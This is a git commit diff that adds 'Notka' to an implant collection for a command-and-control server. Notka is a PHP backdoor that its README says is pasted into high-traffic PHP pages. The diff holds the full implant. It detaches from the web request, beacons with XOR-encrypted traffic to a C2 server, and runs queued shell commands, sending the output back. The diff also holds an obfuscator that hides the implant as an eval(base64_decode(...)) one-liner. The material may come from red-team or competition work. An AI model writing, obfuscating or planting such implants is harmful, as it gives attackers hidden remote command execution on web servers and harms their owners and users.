Added Notka to implants list

README.md

@@ -31,3 +31,4 @@ python3 -m http.server # Starts a webserver on port 8000
 |---|---|---|---|
 |`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux| 
 |`Midas`|Windows trolling utilities|Rust|Windows
+|`Notka`|PHP implant for running shell commands|PHP|Cross platform| 

implants/notka/README.md

@@ -0,0 +1,17 @@
+# Notka
+
+A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued.
+
+## Config
+Set the `$server` and `$key` in `notka.php`
+
+## Obfuscate
+The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`.
+
+## Deployment
+The contents of `payload.php` can the be pasted into any PHP page.
+
+## Commands
+|Command|Description|Arguments|
+|---|---|---|
+|`shell`|Run a command|command: str|

implants/notka/notka.php

@@ -0,0 +1,194 @@
+// Config
+$server = 'http://127.0.0.1:3000';
+$key = 'asdf';
+
+// Protocol
+define('ACTION_CHECKIN', 1);
+define('ACTION_REGISTER', 2);
+define('ACTION_TASK_RESULT', 3);
+
+define('STATUS_ERROR', 0);
+define('STATUS_CONTINUE', 1);
+define('STATUS_TASKS', 2);
+define('STATUS_REGISTER', 3);
+define('STATUS_INVALID', 4);
+
+function xor_msg($string, $key) {
+    $result = '';
+    $key_len = strlen($key);
+    for ($i = 0; $i < strlen($string); $i++) {
+        $result .= $string[$i] ^ $key[$i % $key_len];
+    }
+    return $result;
+}
+
+function send_request($server, $key, $data) {
+    $context = stream_context_create([
+        'http' => [
+            'method'  => 'POST',
+            'header'  => "Content-Type: application/json\r\n",
+            'content' => xor_msg(json_encode($data), $key),
+            'timeout' => 10,
+            'ignore_errors' => true,
+        ],
+    ]);
+
+    $response = @file_get_contents($server, false, $context);
+
+    if ($response === false || $response === '') {
+        return(null);
+    }
+
+    $decoded = json_decode(xor_msg($response, $key), true);
+
+    if (!is_array($decoded)) {
+        return(null);
+    }
+
+    return($decoded);
+}
+
+function build_commands() {
+    return([
+        [
+            'command' => 'shell',
+            'description' => 'Run a shell command on the system',
+            'args' => [
+                [
+                    'name' => 'command',
+                    'arg_type' => 'str',
+                    'description' => 'The command to run',
+                    'required' => true
+                ]
+            ]
+        ]
+    ]);
+}
+
+function send_registration($server, $key) {
+    $data = [
+        'implant_id' => 'notka',
+        'ip' => getHostByName(getHostName()),
+        'action' => ACTION_REGISTER,
+        'registration' => [
+            'os' => php_uname('s'),
+            'commands' => build_commands()
+        ]
+    ];
+
+    $response = send_request($server, $key, $data);
+
+    if ($response === null || !isset($response['status'])) {
+        return(STATUS_ERROR);
+    }
+
+    return($response['status']);
+}
+
+function do_checkin($server, $key) {
+    $data = [
+        'implant_id' => 'notka',
+        'ip' => getHostByName(getHostName()),
+        'action' => ACTION_CHECKIN
+    ];
+
+    return(send_request($server, $key, $data));
+}
+
+function report_task_result($server, $key, $task_id, $result) {
+    $data = [
+        'implant_id' => 'notka',
+        'ip' => getHostByName(getHostName()),
+        'action' => ACTION_TASK_RESULT,
+        'result' => [
+            'task_id' => $task_id,
+            'result' => $result
+        ]
+    ];
+
+    return(send_request($server, $key, $data));
+}
+
+function run_shell($command) {
+    if (function_exists('shell_exec')) {
+        $output = @shell_exec($command . ' 2>&1');
+        if ($output !== null) {
+            return($output);
+        }
+    }
+
+    if (function_exists('exec')) {
+        $lines = [];
+        @exec($command . ' 2>&1', $lines);
+        return(implode("\n", $lines));
+    }
+
+    return('Failed to run command');
+}
+
+function run_task($task) {
+    if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') {
+        return('Unknown command');
+    }
+
+    if (!isset($task['args'][0]) || $task['args'][0] === '') {
+        return('No command provided');
+    }
+
+    return(run_shell($task['args'][0]));
+}
+
+function handle_checkin($server, $key, $response) {
+    if ($response === null || !isset($response['status'])) {
+        return;
+    }
+
+    switch ($response['status']) {
+        case STATUS_TASKS:
+            if (!isset($response['tasks']) || !is_array($response['tasks'])) {
+                return;
+            }
+
+            // Run every queued command and report the results
+            foreach ($response['tasks'] as $task) {
+                $result = run_task($task);
+                report_task_result($server, $key, $task['task_id'], $result);
+            }
+            break;
+
+        case STATUS_REGISTER:
+            // Not registered yet, register and check in again
+            send_registration($server, $key);
+            handle_checkin($server, $key, do_checkin($server, $key));
+            break;
+
+        default:
+            break;
+    }
+}
+
+function main($server, $key) {
+    // Run in the background: hand the response to the client and keep working
+    ignore_user_abort(true);
+    set_time_limit(0);
+
+    if (function_exists('fastcgi_finish_request')) {
+        fastcgi_finish_request();
+    } else {
+        header('Connection: close');
+        header('Content-Length: 0');
+        while (ob_get_level() > 0) {
+            ob_end_flush();
+        }
+        flush();
+    }
+
+    // Register (idempotent), then do a single checkin callback
+    $status = send_registration($server, $key);
+
+    if ($status === STATUS_CONTINUE) {
+        handle_checkin($server, $key, do_checkin($server, $key));
+    }
+}
+
+main($server, $key);

implants/notka/obfuscate.py

@@ -0,0 +1,147 @@
+import re
+import random
+import string
+import base64
+
+def random_name(length=8):
+    return ''.join(random.choices(string.ascii_letters, k=length))
+
+def tokenize_php(code):
+    token_pattern = re.compile(
+        r"""
+        ("(?:\\.|[^"])*") |          # double quoted string
+        ('(?:\\.|[^'])*') |          # single quoted string
+        (//[^\n]*\n?) |              # single-line comment
+        (/\*.*?\*/) |                # multi-line comment
+        (\$[a-zA-Z_]\w*) |           # variable
+        ([a-zA-Z_]\w*) |             # identifier
+        (\s+) |                      # whitespace
+        (.)                          # everything else
+        """,
+        re.VERBOSE | re.DOTALL
+    )
+
+    tokens = []
+    for match in token_pattern.finditer(code):
+        tokens.append(match.group(0))
+    return tokens
+
+
+def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str:
+    tokens = tokenize_php(code)
+
+    var_map = {}
+    func_map = {}
+    superglobals = {
+        "$_GET", "$_POST", "$_REQUEST", "$_SERVER",
+        "$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS"
+    }
+
+    output = []
+    next_is_function_name = False
+    i = 0
+
+    while i < len(tokens):
+        token = tokens[i]
+
+        # Preserve strings and comments
+        if token.startswith(("'", '"', "//", "/*")):
+            output.append(token)
+            i += 1
+            continue
+
+        # Detect function keyword
+        if token == "function":
+            next_is_function_name = True
+            output.append(token)
+            i += 1
+            continue
+
+        # Rename function declaration
+        if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token):
+            if token not in func_map:
+                func_map[token] = random_name()
+            output.append(func_map[token])
+            next_is_function_name = False
+            i += 1
+            continue
+
+        # Handle variables
+        if re.match(r'\$[a-zA-Z_]\w*', token):
+
+            original_var = token
+
+            if original_var in superglobals:
+                output.append(original_var)
+                i += 1
+                continue
+
+            if original_var not in var_map:
+                var_map[original_var] = "$" + random_name()
+
+            new_var = var_map[original_var]
+
+            # Detect assignment to string literal
+            j = i + 1
+            while j < len(tokens) and tokens[j].isspace():
+                j += 1
+
+            if j < len(tokens) and tokens[j] == "=":
+                k = j + 1
+                while k < len(tokens) and tokens[k].isspace():
+                    k += 1
+
+                if (
+                    k < len(tokens)
+                    and (tokens[k].startswith('"') or tokens[k].startswith("'"))
+                ):
+                    string_literal = tokens[k]
+                    unquoted = string_literal[1:-1]
+                    encoded = base64.b64encode(unquoted.encode()).decode()
+
+                    output.append(new_var)
+                    output.append("=")
+                    output.append(f'base64_decode("{encoded}")')
+
+                    i = k + 1
+                    continue
+
+            output.append(new_var)
+            i += 1
+            continue
+
+        # Rename function calls
+        if token in func_map:
+            output.append(func_map[token])
+            i += 1
+            continue
+
+        output.append(token)
+        i += 1
+
+    result = ''.join(output)
+
+    # -------- MAKE ONE LINER --------
+    if one_liner:
+        # Collapse all whitespace to single spaces
+        result = re.sub(r'\s+', ' ', result)
+
+        # Remove spaces around common operators/punctuation
+        result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result)
+
+        result = result.strip()
+
+    # Optional full script base64 wrap
+    if wrap_eval:
+        encoded = base64.b64encode(result.encode()).decode()
+        result = f'eval(base64_decode("{encoded}"));'
+
+    return result
+
+payload = open('notka.php', 'r')
+obfuscated_payload = obfuscate_php(payload.read(), True, True)
+payload.close()
+
+output = open('payload.php', 'w')
+output.write(obfuscated_payload)
+output.close()

implants/tombili/README.md

@@ -8,7 +8,7 @@ Change the values in `src/config.nim` as needed.
 nim c -d:release -d:ssl -o:tombili.bin src/main.nim
 
 # If compiling for Windows from MacOS or Linux:
-nim c -d:release -d:ssl -o:tombili.exe src/main.nim
+nim c -d:release -d:mingw -d:ssl -o:tombili.exe src/main.nim
 ```
 
 ## Commands